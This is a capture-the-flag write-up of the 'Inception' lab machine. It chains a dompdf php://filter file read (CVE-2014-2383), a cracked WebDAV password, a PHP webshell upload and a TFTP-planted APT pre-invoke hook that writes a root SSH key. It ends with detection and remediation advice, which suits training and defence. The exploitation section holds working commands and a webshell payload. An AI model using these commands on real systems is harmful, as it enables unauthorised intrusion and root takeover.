Overview
Inception is a medium Linux box with architecture that mirrors its namesake film: multiple layers, each requiring a different exploitation technique to penetrate. The outer layer is a web application running dompdf 0.6.0 behind a Squid proxy. The middle layer is an LXC container where code execution lands. The innermost layer is the host machine, reachable only through internal services discovered from within the container.
The box teaches pivoting, container boundary awareness, and the value of protocol-level reconnaissance. Each step forward requires understanding why the previous layer’s constraints prevent a direct path to root.
Reconnaissance
I start with a service scan:
nmap -sC -sV -oA scans/inception 10.129.15.30
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | Page titled “Inception” |
| 3128 | HTTP proxy | Squid http proxy 3.5.12 | Open proxy |
Two services. HTTP serves a page with a single image. Port 3128 is a Squid HTTP proxy. The combination of a web application and an open proxy suggests a two-tier architecture with internal services behind the proxy layer.
Attack Surface Analysis
dompdf 0.6.0 (CVE-2014-2383)
Directory enumeration against port 80 finds /dompdf/ with directory listing
enabled. The directory contains a VERSION file reading 0.6.0.
dompdf 0.6.0 is vulnerable to CVE-2014-2383: a local file inclusion in the
input_file parameter. The vulnerability exploits a gap in dompdf’s CHROOT
enforcement. The code checks whether the protocol is empty or file:// before
applying path restrictions. The php:// wrapper has a non-empty protocol
string that is neither, so it bypasses CHROOT entirely.
| Attribute | Value |
|---|---|
| CVE | CVE-2014-2383 |
| CVSS 3.1 | 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-22 (Path Traversal) |
| Root cause | php:// wrapper bypasses DOMPDF_CHROOT because protocol != "" and != file:// |
| Affected | dompdf < 0.6.1 |
WebDAV endpoint
The dompdf LFI reveals the Apache configuration, which contains a WebDAV
endpoint at /webdav_test_inception/ with HTTP Basic authentication backed by
a password file at a known path. Reading the password file via LFI yields a
crackable hash.
Squid proxy
The Squid proxy accepts external connections but has ACLs blocking requests to
internal networks (192.168.0.0/16). This prevents using the proxy as a direct
pivot to internal hosts.
Vulnerability Analysis
The exploitation chain requires four distinct steps across two network boundaries:
dompdf LFI (CVE-2014-2383). The php://filter/convert.base64-encode/resource=
chain reads any file accessible to the Apache process. This provides
unauthenticated arbitrary file read across the entire filesystem.
WebDAV credential exposure. The Apache config read via LFI discloses the
WebDAV endpoint path and credential file location. The credential file contains
an Apache MD5 hash ($apr1$) that cracks quickly with rockyou.txt:
webdav_tester:babygurl69.
WebDAV file upload. With valid credentials, the WebDAV endpoint accepts PUT requests. Uploading a PHP file to the web-accessible directory achieves code execution as www-data inside an LXC container at 192.168.0.10.
apt pre-invoke hook injection. From inside the container, anonymous FTP on
the host (192.168.0.1) exposes the full filesystem without chroot. The host’s
crontab shows root running apt-get update every five minutes. TFTP (also
without chroot) provides write access to the host filesystem. Writing an
APT::Update::Pre-Invoke hook to /etc/apt/apt.conf.d/ executes arbitrary
commands as root on the next cron cycle.
Exploitation
Step 1: LFI via dompdf
curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/passwd" \
-o passwd.pdf
The PDF contains a base64 blob that decodes to /etc/passwd. Key entry:
cobb:x:1000:1000::/home/cobb:/bin/bash. The username references the
protagonist of the film Inception.
Step 2: Apache config and credential extraction
curl -s "http://10.129.15.30/dompdf/dompdf.php?input_file=\
php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" \
-o vhost.pdf
The decoded config reveals:
Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Directory /var/www/html/webdav_test_inception>
DAV On
AuthType Basic
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
</Directory>
Reading webdav.passwd via the same LFI yields:
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
John the Ripper cracks the Apache MD5 hash in seconds:
webdav_tester:babygurl69.
Step 3: WebDAV upload for RCE
curl -u "webdav_tester:babygurl69" -X PUT \
http://10.129.15.30/webdav_test_inception/shell.php \
--data '<?php system($_GET["cmd"]); ?>'
Verify execution:
GET /webdav_test_inception/shell.php?cmd=id
Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
The ip addr output confirms LXC: eth0@if6 with IP 192.168.0.10/24. The
@if suffix indicates a veth pair. The host machine is at 192.168.0.1.
Step 4: internal host reconnaissance
Reverse shells fail. The container has egress filtering that blocks outbound connections to the HTB VPN range. All further exploitation must occur from within the container via the webshell.
Port scanning from the container reveals FTP (21) and SSH (22) on the host. Anonymous FTP connects successfully, and the FTP root is the host filesystem root (no chroot). The full system configuration is readable.
The critical discovery in /etc/crontab:
*/5 * * * * root apt-get update 2>&1 >/var/log/apt/custom.log
Root runs apt-get update every five minutes.
Step 5: TFTP write and apt hook injection
TFTP on the host accepts PUT requests without authentication and without chroot, providing write access to arbitrary filesystem paths.
printf 'APT::Update::Pre-Invoke {"mkdir -p /root/.ssh && echo ssh-ed25519 AAAA... > /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys";};\n' > /tmp/99pwn
tftp 192.168.0.1 -c put /tmp/99pwn /etc/apt/apt.conf.d/99pwn
The APT::Update::Pre-Invoke directive runs a shell command before apt
initiates network operations, executing as root. After the next cron cycle (up
to five minutes), the SSH public key is planted.
ssh -i /tmp/inception_key [email protected]
Root shell on the host. Both flags captured.
Post-Exploitation
Container boundary analysis
The LXC container uses UID mapping with a 100000 offset. Container UID 1000 (cobb) maps to host UID 101000. This is the standard LXC security model: privilege escalation within the container does not translate to host root because the UIDs are remapped.
The host’s FTP and TFTP services are accessible from the container without authentication. In a production environment, this trust boundary violation is the core issue. A container compromise should not provide unauthenticated access to host services.
Failed approaches worth noting
The dompdf remote font RCE technique (fetching a malicious font via CSS
@font-face) was blocked because allow_url_fopen = Off in the PHP
configuration. Reading the PHP ini file via LFI early confirmed this
limitation. The Squid proxy ACL blocked pivoting from outside. SSH with the
cracked WebDAV password (babygurl69) failed for the cobb system account.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | IDS signature for php://filter in HTTP query strings |
| Execution | T1059.004 | File integrity monitoring on /etc/apt/apt.conf.d/ |
| Persistence | T1098.004 | SSH authorized_keys file creation on host |
| Discovery | T1083 | Anomalous FTP read patterns (bulk config file access) |
| Lateral movement | T1210 | TFTP PUT to system directories |
Network-level: TFTP traffic to system paths is abnormal. Any TFTP PUT
operation writing outside a dedicated TFTP directory should trigger an alert.
FTP sessions reading system configuration files (/etc/crontab,
/etc/apt/apt.conf.d/) are highly suspicious.
Host-level: File integrity monitoring on /etc/apt/apt.conf.d/ would detect
the hook injection. Any new file in that directory warrants investigation.
SSH key creation in /root/.ssh/ should be monitored and alerted.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade dompdf to a maintained version | Medium | Critical |
| P0 | Remove TFTP or chroot to dedicated directory | Low | Critical |
| P1 | Chroot FTP to a non-sensitive directory | Low | High |
| P1 | Remove WebDAV test endpoint from production | Low | High |
| P1 | Restrict apt.conf.d writes to root only (700) | Low | High |
| P2 | Disable anonymous FTP or require authentication | Low | Medium |
| P2 | Add network segmentation between container and host | Medium | Medium |
| P3 | Audit all cron jobs running as root | Low | Medium |
The fundamental issue is the trust boundary between the LXC container and the host. A container compromise should not provide unauthenticated access to host services. TFTP without chroot is a write-anywhere primitive; FTP without chroot is a read-anywhere primitive. Together, they give a container attacker full control of the host.
The apt-get update cron job running as root creates a five-minute exploitation
window. Any scheduled privileged command that reads configuration from a
writable directory is a potential injection point. Minimise root cron jobs and
monitor their configuration directories.
Key Takeaways
-
php://wrappers bypass CHROOT in dompdf. The CHROOT check compares the protocol to""and"file://". Any other protocol passes without restriction. When testing file inclusion against dompdf, try PHP stream wrappers before assuming CHROOT is effective. -
FTP without chroot is a read-anywhere primitive. Anonymous FTP exposing the host filesystem root makes the entire system configuration available: cron jobs, service configs, passwords, and application credentials.
-
TFTP without chroot is a write-anywhere primitive. Combined with a privileged cron job that reads configuration, it produces a clean root escalation. The same pattern applies to any writable path feeding into a privileged execution context.
-
Container escape requires host-side services. The LXC boundary itself held. The escape path went through misconfigured host services (FTP, TFTP) accessible from the container network. Container security is only as strong as the services exposed to the container’s network segment.
-
Error messages are existence oracles. When TFTP read of
/root/.ssh/authorized_keysreturned “File must have global read permissions,” that confirmed the file existed with 600 permissions. Protocol error messages reveal more than their authors intended.